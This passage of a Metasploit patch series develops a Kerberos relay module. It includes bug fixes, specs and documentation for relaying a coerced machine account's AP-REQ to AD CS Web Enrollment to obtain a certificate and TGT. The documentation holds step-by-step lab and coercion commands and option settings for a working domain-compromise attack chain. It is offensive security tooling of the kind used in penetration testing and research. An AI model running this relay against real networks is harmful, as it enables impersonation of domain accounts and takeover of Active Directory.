and a Windows client sends one as the second leg of a SessionSetup. Every connection therefore died mid-exchange with "nil can't be coerced into Integer" after the first message. safe_unwrap now rescues TypeError as well, so a NegTokenResp is reported as "not a Kerberos mechanism" and the caller falls through to the NTLM path as intended. Verified in the lab: the same exchange that previously died now completes, the session reaches :valid and the following TREE_CONNECT succeeds. Also pass the exception to elog as error: rather than as the message, so the backtrace survives. Diagnosing this from the log was impossible without it, since elog(exception) records only the message. --- .../remote/relay/kerberos/gss_ap_req.rb | 9 +++++++- .../remote/smb/relay/kerberos/server.rb | 5 +++- .../remote/relay/kerberos/gss_ap_req_spec.rb | 23 +++++++++++++++++++ 3 files changed, 35 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb index 1478fa1417c5f..09028585a3c4f 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb @@ -135,7 +135,14 @@ def safe_unwrap(blob) end [mech_id, token] - rescue OpenSSL::ASN1::ASN1Error + rescue OpenSSL::ASN1::ASN1Error, TypeError + # TypeError matters as much as ASN1Error here. When a token has no + # top-level mechanism OID, unwrap_pseudo_asn1 never sets its start + # offset and then evaluates `token.length - nil`, raising + # TypeError. A SPNEGO NegTokenResp is exactly such a token, and a + # Windows client sends one as the second leg of an SMB2 + # SessionSetup, so letting this escape killed the connection + # thread mid-exchange instead of falling through to NTLM. raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb index c219ac9e07d8b..9a5fcb41aa602 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -62,7 +62,10 @@ def run(&block) client.run rescue StandardError => e logger.print_error(e.message) - elog(e) + # elog(exception) records only the message; passing it as error: + # keeps the backtrace, without which a failure mid-relay is + # untraceable from the log. + elog("Kerberos relay server client for #{ip_address} raised", error: e) end logger.info("Ending thread for connection from #{ip_address}") end) diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb index 5aa0a7a8d53a3..2fe582e0600f4 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb @@ -48,6 +48,17 @@ def spnego_token(mech_token) let(:spnego_kerberos_blob) { spnego_token(gss_kerberos_token(ap_req_tok_id, ap_req_der)) } let(:ntlm_blob) { spnego_token("NTLMSSP\x00\x01".b) } + # SPNEGO NegTokenResp, the second leg of an SMB2 SessionSetup exchange. It + # carries no top-level mechanism OID, which makes unwrap_pseudo_asn1 leave its + # start offset nil and then raise TypeError rather than an ASN1Error. + let(:neg_token_resp) do + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([OpenSSL::ASN1::Enumerated.new(0)], 0, :CONTEXT_SPECIFIC) + ]) + ], 1, :CONTEXT_SPECIFIC).to_der + end + describe '#extract_ap_req' do it 'recovers the AP-REQ from a bare GSS Kerberos token' do expect(subject.extract_ap_req(bare_kerberos_blob)).to eq(ap_req_der) @@ -67,6 +78,14 @@ def spnego_token(mech_token) expect { subject.extract_ap_req(blob) } .to raise_error(ArgumentError, /not an AP-REQ/) end + + # Regression: a live Windows SMB2 SessionSetup sends this as its second leg. + # unwrap_pseudo_asn1 raises TypeError rather than ASN1Error for it, which + # used to escape and kill the relay's connection thread mid-exchange. + it 'raises ArgumentError, not TypeError, for a SPNEGO NegTokenResp' do + expect { subject.extract_ap_req(neg_token_resp) } + .to raise_error(ArgumentError, /does not contain a Kerberos mechanism/) + end end describe '#try_extract_ap_req' do @@ -81,6 +100,10 @@ def spnego_token(mech_token) it 'returns nil for input that is not ASN.1 at all' do expect(subject.try_extract_ap_req('not asn1 at all')).to be_nil end + + it 'returns nil for a SPNEGO NegTokenResp rather than raising' do + expect(subject.try_extract_ap_req(neg_token_resp)).to be_nil + end end describe '#kerberos_ap_req?' do From efbdada0fcd0ed8f476c0a89092c14b94b6e07bf Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Sun, 2 Aug 2026 21:11:17 +0530 Subject: [PATCH 13/20] Fix two errors that only surface once a relay succeeds Both were found running the relay against a live domain controller, with ruby_smb teaching the SMB server to advertise Kerberos so a real client would actually send an AP-REQ. Neither could be reached before, because nothing had ever got past the capture stage. The AP-REQ relayed and AD CS accepted it, then the module raised "undefined method `[]' for nil". HTTP::WebEnrollment#cert_issued? reads @issued_certs on the first certificate request, and only the NTLM ESC8 module was initialising it. With that fixed the enrollment reached the target and raised "undefined method `conn'". The Kerberos HTTP relay client stands in for a Rex::Proto::Http::Client when it is handed to #send_request_raw, and that method reaches for the underlying socket after every response to trace the peer certificate. Delegate #conn so it can. With both fixed the chain completes: a coerced client's AP-REQ is relayed to AD CS Web Enrollment and a client-auth certificate is issued for the coerced principal, which PKINIT then exchanges for a TGT. --- .../remote/relay/kerberos/target/http/client.rb | 12 ++++++++++++ modules/auxiliary/server/relay/esc8_kerberos.rb | 5 +++++ 2 files changed, 17 insertions(+) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb index 020dccf43f148..c651153e37ca5 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -94,6 +94,18 @@ def send_recv(req, timeout = -1) @client.send_recv(req, timeout, true) end + # The underlying socket of the relayed connection. + # + # This class stands in for a Rex::Proto::Http::Client when it is + # passed to #send_request_raw as 'client', and that method reaches + # for the socket after every request to trace the peer certificate. + # Without this it raises NoMethodError once the relay succeeds. + # + # @return [Rex::Socket, nil] + def conn + @client.conn + end + def disconnect! @client.close end diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb index 21c316f67ba37..27192a3b40d72 100644 --- a/modules/auxiliary/server/relay/esc8_kerberos.rb +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -63,6 +63,11 @@ def initialize(_info = {}) OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) ] ) + # Tracks which templates have already been issued per identity, so a client + # that authenticates repeatedly does not request the same certificate again. + # HTTP::WebEnrollment#cert_issued? reads this on the first relay, so it has + # to exist before any certificate is requested. + @issued_certs = {} end def relay_targets From fc03491dd940a9d82e9e317cf5bee395c028990a Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 13 Aug 2026 21:13:36 +0530 Subject: [PATCH 14/20] Guard the peer-cert trace when the client exposes no connection send_request_raw runs a best-effort peer-cert trace after each response by reading c.conn. A relay target client stands in for a Rex::Proto::Http::Client but does not expose a connection object, so c.conn raised "undefined method 'conn'" for Relay::NTLM::Target::HTTP::Client once an NTLM relay authenticated. The existing &. only guarded a nil connection, not a client that has no conn method at all. Guard with respond_to?(:conn) so the trace is skipped for such clients instead of crashing the relay; clients that do expose a connection are unaffected. --- lib/msf/core/exploit/remote/http_client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http_client.rb b/lib/msf/core/exploit/remote/http_client.rb index 6e0438fdd01c8..2e13be8b8aeee 100644 --- a/lib/msf/core/exploit/remote/http_client.rb +++ b/lib/msf/core/exploit/remote/http_client.rb @@ -423,7 +423,7 @@ def send_request_raw(opts = {}, timeout = 20, disconnect = false) res = c.send_recv(r, actual_timeout) - if c.conn&.respond_to?(:peer_cert) + if c.respond_to?(:conn) && c.conn&.respond_to?(:peer_cert) raw_cert = c.conn.peer_cert certificate_peer_cert_trace(raw_cert, opts['rhost'] || rhost, (opts['rport'] || rport).to_i) if raw_cert end From 1c9b04de25738e2b5f9b1e6d2b12852f05fab708 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 19 Aug 2026 08:13:50 +0530 Subject: [PATCH 15/20] Accept RELAY_IDENTITY in DOMAIN\HOST$ or UPN form RELAY_IDENTITY was documented as HOST$@realm but the WebEnrollment mixin splits it on '\' to build the CSR subject and pick the certificate template. A UPN string has no backslash, so both halves became the whole value: the request went out with a doubled HOST$@realm\HOST$@realm subject and AUTO mode misread the machine account because it no longer trailed a '$'. That surfaced as "Certificate request denied ... for HOST$@realm\HOST$@realm" in live testing. Normalize the identity to DOMAIN\HOST$ before use, accepting either the DOMAIN\HOST$ or the HOST$@realm form, and correct the documentation and the option description to match. Adds a module spec for the conversion. --- .../auxiliary/server/relay/esc8_kerberos.md | 22 ++++++---- .../auxiliary/server/relay/esc8_kerberos.rb | 24 ++++++++++- .../server/relay/esc8_kerberos_spec.rb | 43 +++++++++++++++++++ 3 files changed, 79 insertions(+), 10 deletions(-) create mode 100644 spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md index 469108918c3f4..51f990411473b 100644 --- a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -31,7 +31,7 @@ with a coercion module. For the full end-to-end setup see the Scenarios section. 2. Start `msfconsole` 3. Do: `use auxiliary/server/relay/esc8_kerberos` 4. Set `RHOSTS` to the AD CS Web Enrollment server -5. Set `RELAY_IDENTITY` to the principal you will coerce (for example `WIN-VICTIM$@ad.example.com`) +5. Set `RELAY_IDENTITY` to the principal you will coerce, in `DOMAIN\HOST$` form (for example `AD\WIN-VICTIM$`) 6. Run the module and, in parallel, coerce the victim (see Scenarios) 7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued @@ -56,11 +56,17 @@ or `User`). ### RELAY_IDENTITY -The Kerberos principal you are coercing (for example `WIN-VICTIM$@ad.example.com` -or `labuser@ad.example.com`). Because the relayed AP-REQ is encrypted, this -identity is not recoverable from the wire; the module uses it to choose the -certificate template (in `AUTO` mode) and to label its output. It does not need -to match a password or key. +The Kerberos principal you are coercing. Give it in `DOMAIN\HOST$` form (for +example `AD\WIN-VICTIM$`, or `AD\labuser` for a user); the UPN form +`HOST$@realm` (for example `WIN-VICTIM$@ad.example.com`) is also accepted and is +converted internally. Because the relayed AP-REQ is encrypted, this identity is +not recoverable from the wire; the module uses it to choose the certificate +template (in `AUTO` mode) and to label its output. It does not need to match a +password or key. + +A machine account must keep its trailing `$` (`AD\WIN-VICTIM$`), since that is +how `AUTO` mode tells a machine account from a user and how the CSR subject is +built. `RHOSTS` is the AD CS Web Enrollment host to relay to, and the module listens for the coerced Kerberos authentication on the SMB port (`SRVPORT`, default 445). @@ -79,7 +85,7 @@ Terminal 1 - start the relay server: ``` msf > use auxiliary/server/relay/esc8_kerberos msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com -msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY WIN-VICTIM$@ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY AD\WIN-VICTIM$ msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine msf auxiliary(server/relay/esc8_kerberos) > run @@ -104,7 +110,7 @@ AP-REQ, replays it to the CA, and saves the issued certificate: ``` [*] New Kerberos request from 192.168.64.2 -[*] Received AP-REQ for coerced principal WIN-VICTIM$@ad.example.com +[*] Received AP-REQ for coerced principal AD\WIN-VICTIM$ [*] Relaying to next target http://ca.ad.example.com/certsrv/ [+] Successfully authenticated against relay target http://ca.ad.example.com/certsrv/ [*] Creating certificate request for WIN-VICTIM$ using the Machine template diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb index 27192a3b40d72..02c5e1aead714 100644 --- a/modules/auxiliary/server/relay/esc8_kerberos.rb +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -50,7 +50,7 @@ def initialize(_info = {}) OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]), OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]), - OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed (e.g. DOMAIN\\HOST$). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]), + OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed, as DOMAIN\\HOST$ or HOST$@realm (e.g. AD\\WIN-VICTIM$ or WIN-VICTIM$@ad.example.com). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]), # HttpClient re-registers RHOSTS after the relay server mixin and drops # its aliases, so without this SMBHOST and RELAY_TARGETS are accepted # but never reach RHOSTS. Module options are applied last, so this wins. @@ -153,7 +153,7 @@ def on_relay_success(relay_connection:, relay_identity:) # relay_identity is always nil on the Kerberos path today, since nothing # upstream can learn the principal. It is honoured anyway so that a future # target which does recover an identity needs no change here. - identity = relay_identity.presence || datastore['RELAY_IDENTITY'] + identity = normalize_relay_identity(relay_identity.presence || datastore['RELAY_IDENTITY']) case datastore['MODE'] when 'AUTO' @@ -175,4 +175,24 @@ def on_relay_success(relay_connection:, relay_identity:) vprint_status('Relay tasks complete; waiting for next login attempt.') relay_connection.disconnect! end + + private + + # Accept RELAY_IDENTITY in either DOMAIN\HOST$ or HOST$@realm (UPN) form and + # return it as DOMAIN\HOST$, which is what the WebEnrollment mixin and the + # template auto-selection below expect. WebEnrollment splits the identity on + # '\\' to build the CSR subject; a UPN string has no backslash, so both halves + # would become the whole value and the request would carry a doubled + # HOST$@realm\HOST$@realm subject. The '$' template check also only works once + # the machine account trails the string, so convert the UPN form first. + def normalize_relay_identity(identity) + return identity if identity.blank? || identity.include?('\\') + + if identity.include?('@') + principal, realm = identity.split('@', 2) + return "#{realm}\\#{principal}" + end + + identity + end end diff --git a/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb new file mode 100644 index 0000000000000..2d157952d8044 --- /dev/null +++ b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb @@ -0,0 +1,43 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/server/relay/esc8_kerberos' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'server/relay/esc8_kerberos' + ) + end + + describe '#normalize_relay_identity' do + it 'passes a DOMAIN\\HOST$ identity through unchanged' do + expect(mod.send(:normalize_relay_identity, 'AD\\WIN-VICTIM$')).to eq('AD\\WIN-VICTIM$') + end + + it 'passes a DOMAIN\\user identity through unchanged' do + expect(mod.send(:normalize_relay_identity, 'AD\\labuser')).to eq('AD\\labuser') + end + + it 'converts a UPN machine account HOST$@realm to realm\\HOST$' do + expect(mod.send(:normalize_relay_identity, 'WIN-VICTIM$@ad.example.com')).to eq('ad.example.com\\WIN-VICTIM$') + end + + it 'converts a UPN user to realm\\user' do + expect(mod.send(:normalize_relay_identity, 'labuser@ad.example.com')).to eq('ad.example.com\\labuser') + end + + it 'leaves the trailing $ so AUTO template selection still sees a machine account' do + normalized = mod.send(:normalize_relay_identity, 'WIN-VICTIM$@ad.example.com') + expect(normalized.end_with?('$')).to be(true) + end + + it 'returns a blank identity unchanged' do + expect(mod.send(:normalize_relay_identity, '')).to eq('') + end + + it 'only splits on the first @ so a realm keeps any later @' do + expect(mod.send(:normalize_relay_identity, 'svc$@a@b')).to eq('a@b\\svc$') + end + end +end From 37c30217c47ca11e6610b1e8394447b9ab3608ad Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 19 Aug 2026 08:28:32 +0530 Subject: [PATCH 16/20] Expand esc8_kerberos docs with the lab setup and options Document what a reproducer needs: the domain controller and AD CS build (Server 2022, Web Enrollment, no registry changes), the certificate template and the enroll right the coerced account needs, how the SPN and DNS records for the coerced name are created, how machine-account Kerberos is coerced from a SYSTEM context, and the real show options output for both the relay module and the paired coercion module. --- .../auxiliary/server/relay/esc8_kerberos.md | 146 +++++++++++++++++- 1 file changed, 145 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md index 51f990411473b..3de4f269194ad 100644 --- a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -35,6 +35,119 @@ with a coercion module. For the full end-to-end setup see the Scenarios section. 6. Run the module and, in parallel, coerce the victim (see Scenarios) 7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued +## Lab environment used to validate this module + +The relay half of this technique was validated against the following setup. The +values are examples; substitute your own domain, hosts and addresses. + +### Domain controller and AD CS + +* Windows Server 2022, single domain `ad.example.com` (NetBIOS `AD`). +* The `Active Directory Certificate Services` role with the `Certificate + Authority` and `Certificate Authority Web Enrollment` role services. Web + Enrollment is what publishes the `/certsrv/` endpoint this module relays to. +* The CA and the KDC on the same host is fine. The coercion introduces a new + name rather than poisoning an existing one, so the victim keeps reaching the + KDC while its service connection is steered to the attacker. +* No registry changes were required. ESC8 relies on the default HTTP Web + Enrollment endpoint being reachable without Extended Protection for + Authentication (channel binding); `SSL false` (the default) targets that HTTP + endpoint. If Web Enrollment is only bound to HTTPS in your environment, set + `SSL true` and `RPORT 443`, noting that EPA may then reject the relayed ticket. + +### Certificate template + +* The `Machine` template published on the CA (`Certificate Templates` console -> + the CA's `Certificate Templates` -> `New` -> `Certificate Template to Issue`). +* The account you coerce must have `Enroll` on that template. For a machine + account coercion, grant the victim computer object (for example `WIN-VICTIM$`) + Read and Enroll on the `Machine` template. The default `Machine` template + builds its subject from Active Directory, so the certificate is issued to the + authenticated machine account regardless of the CSR subject. + +### SPN and DNS records for the coerced name + +The victim only sends a Kerberos AP-REQ if it requests a service ticket for a +name whose SPN exists and whose DNS record points at the attacker. Two ways to +arrange that: + +* Native coercion (the intended workflow): the paired DNS-takeover module + answers for the target domain and returns a `CNAME` (`RELAY_CNAME`) that steers + the victim onto a name the attacker serves, while the ticket is still minted + for the real target SPN. See the Scenarios section. +* Manual decoy for a controlled lab test: create a name, point it at the + attacker, and register a matching SPN so a ticket is issued for it. From the + DC, as a domain admin: + +``` +# DNS: point a decoy name at the attacker box running this module +Add-DnsServerResourceRecordA -ZoneName ad.example.com -Name relaytest -IPv4Address 192.0.2.50 + +# SPN: register the CIFS SPN for that name on the coerced account (here the +# victim machine account), so its ticket names the decoy +setspn -s CIFS/relaytest.ad.example.com WIN-VICTIM$ +``` + +### Coercing the machine account + +Machine-account Kerberos is what this module relays, so trigger the connection +from a context that holds the machine account's TGT. Running as +`NT AUTHORITY\SYSTEM` on the victim does this: + +``` +# in a cmd/powershell running as SYSTEM on the victim (e.g. via PsExec -s or a +# SYSTEM scheduled task), touch the decoy over SMB: +net use \\relaytest.ad.example.com\ipc$ +``` + +That sends an SMB2 SessionSetup carrying a Kerberos AP-REQ as `WIN-VICTIM$`. A +`net use` from an interactive administrator session instead authenticates as +that user and, without a usable service ticket for the name, can fall back to +NTLM, so use the SYSTEM (machine-account) context for a reliable machine-account +relay. A SYSTEM scheduled task (`schtasks /ru SYSTEM`) is a convenient headless +trigger. + +## Full module options + +Real output of `show options` for the module (defaults shown, with the coercion +values from the Scenarios set): + +``` +msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY AD\WIN-VICTIM$ +msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE +msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine +msf auxiliary(server/relay/esc8_kerberos) > options + +Module options (auxiliary/server/relay/esc8_kerberos): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADD_CERT_APP_POLICY no Add certificate application policy OIDs + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + CERT_TEMPLATE Machine no The template to issue if MODE is SPECIFIC_TEMPLATE. + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + RELAY_IDENTITY AD\WIN-VICTIM$ yes The coerced principal being relayed, as DOMAIN\HOST$ or HOST$@realm. + RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has initiated communication. + RHOSTS ca.ad.example.com yes Target address range or CIDR identifier to relay to + RPORT 80 yes The target port (TCP) + SMBDomain WORKGROUP yes The domain name used during SMB exchange. + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. + SRVPORT 445 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + +Auxiliary action: + + Name Description + ---- ----------- + Relay Run SMB ESC8 Kerberos relay server +``` + ## Options ### MODE @@ -104,9 +217,40 @@ msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.exa msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run ``` +Real output of `show options` for the coercion module (the Router Advertisement +variant; the DHCPv6 module takes the same `TARGET_DOMAIN`/`SPOOF_IP6`/ +`RELAY_CNAME`): + +``` +Module options (auxiliary/spoof/ipv6/ipv6_ra_dns_takeover): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADVERTISE_SEARCH_DOMAIN true yes Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution. + BECOME_ROUTER false yes Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover. + INTERFACE eth0 no The name of the interface + RA_INTERVAL 30 yes Seconds between unsolicited Router Advertisements. + RELAY_CNAME attacker.ad.example.com no If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address. + RESPOND_TO_SOLICITS true yes Also reply to Router Solicitations with an immediate unicast RA. + SHOST no The source IPv6 address + SMAC no The source MAC address + SPOOF_IP6 dead:beef::5 yes The attacker IPv6 address handed out as the DNS server and returned for poisoned names. + SRVHOST :: yes The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send. + SRVPORT 53 yes The local port to listen on. + TARGET_DOMAIN ad.example.com yes The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com). + TARGET_HOSTS no Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned. + +Auxiliary action: + + Name Description + ---- ----------- + Service Run the RA/RDNSS and DNS takeover services +``` + Once the victim resolves the target service through the attacker and authenticates to the attacker's SMB server, the relay server extracts the -AP-REQ, replays it to the CA, and saves the issued certificate: +AP-REQ, replays it to the CA, and saves the issued certificate. Representative +output of a successful `run` (exact lines depend on the client and template): ``` [*] New Kerberos request from 192.168.64.2 From 25c8106b342a4ce84e1b85b03c5f3c26d6d017a0 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 19 Aug 2026 10:53:57 +0530 Subject: [PATCH 17/20] Use Rex::Proto::Gss::KerberosToken for AP-REQ handling Replace the relay-local GssApReq mixin with the shared Rex::Proto::Gss::KerberosToken added in #21717, so the Kerberos token parsing lives in rex/proto/gss rather than under relay/. KerberosToken exposes the same extract_ap_req/try_extract_ap_req/kerberos_ap_req?/ build_spnego_ap_req interface as class methods and already rescues the NegTokenResp TypeError, so the capture path, the SPNEGO rebuild and the crash-safety are all preserved. --- .../remote/relay/kerberos/gss_ap_req.rb | 168 ------------------ .../remote/relay/kerberos/relay_handler.rb | 7 +- .../relay/kerberos/target/http/client.rb | 3 +- .../smb/relay/kerberos/server_client.rb | 2 +- .../remote/relay/kerberos/gss_ap_req_spec.rb | 144 --------------- .../relay/kerberos/relay_handler_spec.rb | 4 +- .../relay/kerberos/target/http/client_spec.rb | 3 +- .../smb/relay/kerberos/server_client_spec.rb | 7 +- 8 files changed, 10 insertions(+), 328 deletions(-) delete mode 100644 lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb delete mode 100644 spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb deleted file mode 100644 index 09028585a3c4f..0000000000000 --- a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb +++ /dev/null @@ -1,168 +0,0 @@ -# -*- coding: binary -*- - -module Msf - class Exploit - class Remote - module Relay - module Kerberos - # GSS-API wrapping and unwrapping of a Kerberos AP-REQ for relaying - # (CVE-2026-20929, Kerberos authentication relay via DNS CNAME abuse). - # - # Two directions, both used by the relay: {#extract_ap_req} pulls a - # captured AP-REQ out of a coerced client's token (used by the relay - # server), and {#build_spnego_ap_req} re-wraps that AP-REQ into a fresh - # GSS-SPNEGO blob to send to the real service (used by the relay target). - # - # The AP-REQ is carried as opaque DER, never interpreted: the client's - # identity lives in the encrypted ticket/authenticator, which only the - # real target service can decrypt, and - # {Rex::Proto::Kerberos::Model::ApReq#decode} is not implemented anyway. - module GssApReq - include Rex::Proto::Gss::Asn1 - - # The 2-byte token id prefixing a GSS-wrapped KRB_AP_REQ. - # https://datatracker.ietf.org/doc/html/rfc1964#section-1.1.1 - TOK_ID_KRB_AP_REQ = "\x01\x00".b.freeze - - # OIDs (compared by value) that identify a Kerberos v5 mechanism - # inside a GSS token: the standard mech and Microsoft's variant. - KERBEROS_MECH_OIDS = [ - Rex::Proto::Gss::OID_KERBEROS_5.value, - Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value - ].freeze - - # Pull the raw AP-REQ out of a client's GSS-API authentication token. - # - # @param security_blob [String] The raw GSS-API token from the - # client's authentication attempt. Either a SPNEGO NegTokenInit - # (the usual HTTP/SMB case) or a bare GSS Kerberos token. - # @return [String] The captured AP-REQ as DER bytes, ready to be - # re-wrapped via {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} - # and forwarded to a relay target. - # @raise [ArgumentError] if the blob does not carry a Kerberos AP-REQ. - def extract_ap_req(security_blob) - blob = security_blob.to_s.b - mech_id, token = safe_unwrap(blob) - - # SPNEGO wraps the real mechanism token one level deeper; unwrap it. - if mech_id.value == Rex::Proto::Gss::OID_SPNEGO.value - mech_id, token = safe_unwrap(spnego_mech_token(blob)) - end - - unless KERBEROS_MECH_OIDS.include?(mech_id.value) - raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism' - end - - unless token.to_s.start_with?(TOK_ID_KRB_AP_REQ) - raise ArgumentError, 'GSS Kerberos token is not an AP-REQ' - end - - token.byteslice(TOK_ID_KRB_AP_REQ.bytesize..-1).to_s - end - - # {#extract_ap_req} without the exception: returns the AP-REQ when the - # blob carries one and nil when it does not. Callers that both test - # for Kerberos and then use the AP-REQ should prefer this, so the - # blob is only parsed once. - # - # @param security_blob [String] The raw GSS-API token. - # @return [String, nil] The captured AP-REQ as DER bytes, or nil. - def try_extract_ap_req(security_blob) - extract_ap_req(security_blob) - rescue ArgumentError - nil - end - - # Whether the incoming blob carries a Kerberos AP-REQ (as opposed to an - # NTLM message), letting a shared relay server dispatch on mechanism. - # - # @param security_blob [String] The raw GSS-API token. - # @return [Boolean] - def kerberos_ap_req?(security_blob) - !try_extract_ap_req(security_blob).nil? - end - - # Re-wrap a captured AP-REQ into a GSS-SPNEGO blob suitable for - # sending to a relay target's HTTP/SMB service. The inverse of - # {#extract_ap_req}: a token produced here round-trips back to the - # same AP-REQ bytes. - # - # This mirrors the envelope built by - # {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} but takes - # raw AP-REQ DER rather than an ApReq model object, because the relay - # only ever holds the captured bytes (ApReq#decode is unsupported). - # - # @param ap_req_der [String] The captured AP-REQ as DER bytes, e.g. - # from {#extract_ap_req}. - # @return [String] A SPNEGO NegTokenInit carrying the AP-REQ. - def build_spnego_ap_req(ap_req_der) - mech_token = wrap_pseudo_asn1( - Rex::Proto::Gss::OID_KERBEROS_5, - TOK_ID_KRB_AP_REQ + ap_req_der.to_s.b - ) - - OpenSSL::ASN1::ASN1Data.new([ - Rex::Proto::Gss::OID_SPNEGO, - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::Sequence.new([ - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) - ], 0, :CONTEXT_SPECIFIC), - OpenSSL::ASN1::ASN1Data.new([ - OpenSSL::ASN1::OctetString.new(mech_token) - ], 2, :CONTEXT_SPECIFIC) - ]) - ], 0, 